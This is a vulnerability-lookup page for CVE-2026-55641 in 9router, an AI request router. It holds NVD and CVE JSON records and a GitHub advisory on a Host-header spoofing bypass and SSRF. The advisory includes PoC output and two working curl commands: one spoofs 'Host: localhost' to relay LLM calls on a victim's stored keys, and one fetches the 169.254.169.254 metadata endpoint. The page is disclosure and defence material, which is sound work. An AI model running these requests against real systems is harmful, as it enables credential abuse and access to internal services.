Vulnerability-Lookup

CVE-2026-55641 (GCVE-0-2026-55641)

Vulnerability from cvelistv5 – Published: 2026-07-10 15:36 – Updated: 2026-07-10 19:06

Title

9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

Summary

9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 19:06 UTC

CWE

CWE-290 - Authentication Bypass by Spoofing
CWE-348 - Use of Less Trusted Source
CWE-918 - Server-Side Request Forgery (SSRF)
CWE-1327 - Binding to an Unrestricted IP Address

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8078 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/decolua/9router/security/advis…	x_refsource_CONFIRM
https://github.com/decolua/9router/commit/b282f05…	x_refsource_MISC
https://github.com/decolua/9router/releases/tag/v0.5.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
decolua	9router	Affected: < 0.5.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55641",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T19:06:04.625545Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-10T19:06:14.379Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-348",
              "description": "CWE-348: Use of Less Trusted Source",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1327",
              "description": "CWE-1327: Binding to an Unrestricted IP Address",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-10T15:36:05.964Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
        },
        {
          "name": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
        },
        {
          "name": "https://github.com/decolua/9router/releases/tag/v0.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-86m2-fcxq-5q7c",
        "discovery": "UNKNOWN"
      },
      "title": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55641",
    "datePublished": "2026-07-10T15:36:05.964Z",
    "dateReserved": "2026-06-16T23:52:12.057Z",
    "dateUpdated": "2026-07-10T19:06:14.379Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55641",
      "date": "2026-11-01",
      "epss": "0.00326",
      "percentile": "0.25668"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "9router",
                "vendor": "decolua",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.5.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2."
          },
          {
            "lang": "es",
            "value": "9Router es un router de IA y ahorrador de tokens. Antes de la versi\u00f3n 0.5.2, 9router determina si una solicitud de proxy LLM /v1 es local leyendo el encabezado Host controlado por el cliente, permitiendo a un atacante remoto no autenticado enviar Host: localhost y omitir la autenticaci\u00f3n por clave de API. En la configuraci\u00f3n predeterminada, esto expone el proxy /v1 a llamadas de proveedores ascendentes utilizando credenciales de proveedor almacenadas y permite /v1/search con el par\u00e1metro searxng provider_options.baseUrl para dirigir solicitudes del lado del servidor a hosts internos o de metadatos en la nube. Este problema est\u00e1 solucionado en la versi\u00f3n 0.5.2."
          }
        ],
        "id": "CVE-2026-55641",
        "lastModified": "2026-10-25T15:10:00.147",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55641",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T19:06:04.625545Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-10T17:16:59.330",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-290"
              },
              {
                "lang": "en",
                "value": "CWE-348"
              },
              {
                "lang": "en",
                "value": "CWE-918"
              },
              {
                "lang": "en",
                "value": "CWE-1327"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55641",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-10T19:06:04.625545Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-10T19:05:46.687Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "9router",
              "vendor": "decolua",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.5.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-290",
                  "description": "CWE-290: Authentication Bypass by Spoofing",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-348",
                  "description": "CWE-348: Use of Less Trusted Source",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-1327",
                  "description": "CWE-1327: Binding to an Unrestricted IP Address",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-10T15:36:05.964Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
            },
            {
              "name": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
            },
            {
              "name": "https://github.com/decolua/9router/releases/tag/v0.5.2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
            }
          ],
          "source": {
            "advisory": "GHSA-86m2-fcxq-5q7c",
            "discovery": "UNKNOWN"
          },
          "title": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55641",
        "datePublished": "2026-07-10T15:36:05.964Z",
        "dateReserved": "2026-06-16T23:52:12.057Z",
        "dateUpdated": "2026-07-10T19:06:14.379Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55641

Vulnerability from fkie_nvd - Published: 2026-07-10 17:16 - Updated: 2026-10-25 15:10

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3
	security-advisories@github.com	https://github.com/decolua/9router/releases/tag/v0.5.2
	security-advisories@github.com	https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2."
    },
    {
      "lang": "es",
      "value": "9Router es un router de IA y ahorrador de tokens. Antes de la versi\u00f3n 0.5.2, 9router determina si una solicitud de proxy LLM /v1 es local leyendo el encabezado Host controlado por el cliente, permitiendo a un atacante remoto no autenticado enviar Host: localhost y omitir la autenticaci\u00f3n por clave de API. En la configuraci\u00f3n predeterminada, esto expone el proxy /v1 a llamadas de proveedores ascendentes utilizando credenciales de proveedor almacenadas y permite /v1/search con el par\u00e1metro searxng provider_options.baseUrl para dirigir solicitudes del lado del servidor a hosts internos o de metadatos en la nube. Este problema est\u00e1 solucionado en la versi\u00f3n 0.5.2."
    }
  ],
  "id": "CVE-2026-55641",
  "lastModified": "2026-10-25T15:10:00.147",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55641",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-10T19:06:04.625545Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-10T17:16:59.330",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-290"
        },
        {
          "lang": "en",
          "value": "CWE-348"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        },
        {
          "lang": "en",
          "value": "CWE-1327"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33

Summary

9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).
Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.
Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.
Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (`src/dashboardGuard.js`)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + 